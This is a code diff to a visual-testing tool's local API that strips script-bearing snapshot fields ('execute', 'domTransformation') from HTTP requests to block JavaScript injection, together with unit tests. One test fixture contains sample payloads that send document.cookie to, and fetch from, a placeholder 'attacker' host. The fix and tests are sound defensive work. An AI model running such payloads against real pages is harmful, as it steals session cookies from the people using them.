diff --git a/packages/core/src/api.js b/packages/core/src/api.js index 6a4ec27e6..b5936b461 100644 --- a/packages/core/src/api.js +++ b/packages/core/src/api.js @@ -91,6 +91,50 @@ function stripBlockedConfigFields(body, log) { return _applyHttpReadOnlyStripping(body, findHttpReadOnlyPaths(body, ROOT_CONFIG_SCHEMA), log); } +// Snapshot option keys whose values are executed as JavaScript in the browser: +// `domTransformation` is passed to window.eval and `execute` (incl. its +// beforeSnapshot/afterNavigation/before|afterResize hooks) is run via page.eval. +const REMOTE_SCRIPT_FIELDS = ['execute', 'domTransformation']; + +// The local /percy/snapshot endpoint is unauthenticated, so accepting code- +// bearing fields from a network request body lets any local caller inject +// arbitrary JavaScript into the (possibly authenticated) page being snapshotted +// (CWE-94 — PER-8607, PER-8613). Strip those fields from HTTP-sourced snapshots +// by default; the config-file / CLI path (`percy snapshot`) calls percy.snapshot +// directly and never passes through this route, so legitimate config-sourced +// execute/domTransformation are unaffected. Trusted programmatic callers can opt +// back in with PERCY_ALLOW_REMOTE_SCRIPTS=true. +export function stripRemoteScriptFields(body, log) { + if (process.env.PERCY_ALLOW_REMOTE_SCRIPTS === 'true') return body; + if (!body || typeof body !== 'object') return body; + + let stripped = JSON.parse(JSON.stringify(body)); + let removed = new Set(); + let walk = node => { + if (Array.isArray(node)) return node.forEach(walk); + if (node && typeof node === 'object') { + for (let key of Object.keys(node)) { + if (REMOTE_SCRIPT_FIELDS.includes(key)) { + delete node[key]; + removed.add(key); + } else { + walk(node[key]); + } + } + } + }; + walk(stripped); + + if (removed.size) { + log.warn( + `Ignoring \`${[...removed].join('`, `')}\` from /percy/snapshot request: these run ` + + 'arbitrary JavaScript and are not accepted over the local API. Set them via the config ' + + 'file or CLI, or set PERCY_ALLOW_REMOTE_SCRIPTS=true to allow them on this endpoint.' + ); + } + return stripped; +} + // Parse PNG IHDR chunk for the screenshot's actual rendered dimensions. // Returns { width, height } when the buffer is a valid PNG with non-zero // dimensions, or null otherwise (non-PNG signature, truncated file, zero @@ -374,10 +418,11 @@ export function createPercyServer(percy, port) { .route('post', '/percy/snapshot', async (req, res) => { let data; const snapshotPromise = {}; - const snapshot = percy.snapshot(req.body, snapshotPromise); + const body = stripRemoteScriptFields(req.body, logger('core:server')); + const snapshot = percy.snapshot(body, snapshotPromise); if (!req.url.searchParams.has('async')) await snapshot; - if (percy.syncMode(req.body)) data = await handleSyncJob(snapshotPromise[req.body.name], percy, 'snapshot'); + if (percy.syncMode(body)) data = await handleSyncJob(snapshotPromise[body.name], percy, 'snapshot'); return res.json(200, { success: true, data: data }); }) diff --git a/packages/core/test/api.test.js b/packages/core/test/api.test.js index e22a4c2c7..0dc0c15ec 100644 --- a/packages/core/test/api.test.js +++ b/packages/core/test/api.test.js @@ -3,7 +3,7 @@ import PercyConfig from '@percy/config'; import { logger, setupTest, fs } from './helpers/index.js'; import Percy from '@percy/core'; import WebdriverUtils from '@percy/webdriver-utils'; -import { getPercyDomPath, _applyHttpReadOnlyStripping } from '../src/api.js'; +import { getPercyDomPath, _applyHttpReadOnlyStripping, stripRemoteScriptFields } from '../src/api.js'; describe('API Server', () => { let percy; @@ -1887,3 +1887,55 @@ describe('_applyHttpReadOnlyStripping', () => { expect(log.warn).not.toHaveBeenCalled(); }); }); + +describe('stripRemoteScriptFields', () => { + afterEach(() => { delete process.env.PERCY_ALLOW_REMOTE_SCRIPTS; }); + + it('removes execute and domTransformation from a network snapshot body (CWE-94)', () => { + let log = { warn: jasmine.createSpy('warn') }; + let body = { + url: 'https://example.com', + name: 'test', + domTransformation: '(function(el){new Image().src="https://attacker/x?c="+document.cookie})', + execute: { beforeSnapshot: 'fetch("https://attacker/y")' }, + additionalSnapshots: [{ name: 'extra', execute: 'steal()' }] + }; + let result = stripRemoteScriptFields(body, log); + + expect(result.domTransformation).toBeUndefined(); + expect(result.execute).toBeUndefined(); + expect(result.additionalSnapshots[0].execute).toBeUndefined(); + // non-code fields are preserved, and the original body is not mutated + expect(result.url).toEqual('https://example.com'); + expect(result.name).toEqual('test'); + expect(result.additionalSnapshots[0].name).toEqual('extra'); + expect(body.domTransformation).toBeDefined(); + expect(log.warn).toHaveBeenCalledWith(jasmine.stringMatching(/Ignoring `execute`, `domTransformation`/)); + }); + + it('leaves a body without code fields unchanged and does not warn', () => { + let log = { warn: jasmine.createSpy('warn') }; + let body = { url: 'https://example.com', name: 'clean', widths: [1000] }; + let result = stripRemoteScriptFields(body, log); + + expect(result).toEqual(body); + expect(log.warn).not.toHaveBeenCalled(); + }); + + it('preserves code fields when PERCY_ALLOW_REMOTE_SCRIPTS=true', () => { + process.env.PERCY_ALLOW_REMOTE_SCRIPTS = 'true'; + let log = { warn: jasmine.createSpy('warn') }; + let body = { name: 'test', execute: 'doThing()' }; + let result = stripRemoteScriptFields(body, log); + + expect(result.execute).toEqual('doThing()'); + expect(log.warn).not.toHaveBeenCalled(); + }); + + it('tolerates non-object bodies', () => { + let log = { warn: jasmine.createSpy('warn') }; + expect(stripRemoteScriptFields(undefined, log)).toBeUndefined(); + expect(stripRemoteScriptFields('str', log)).toEqual('str'); + expect(log.warn).not.toHaveBeenCalled(); + }); +});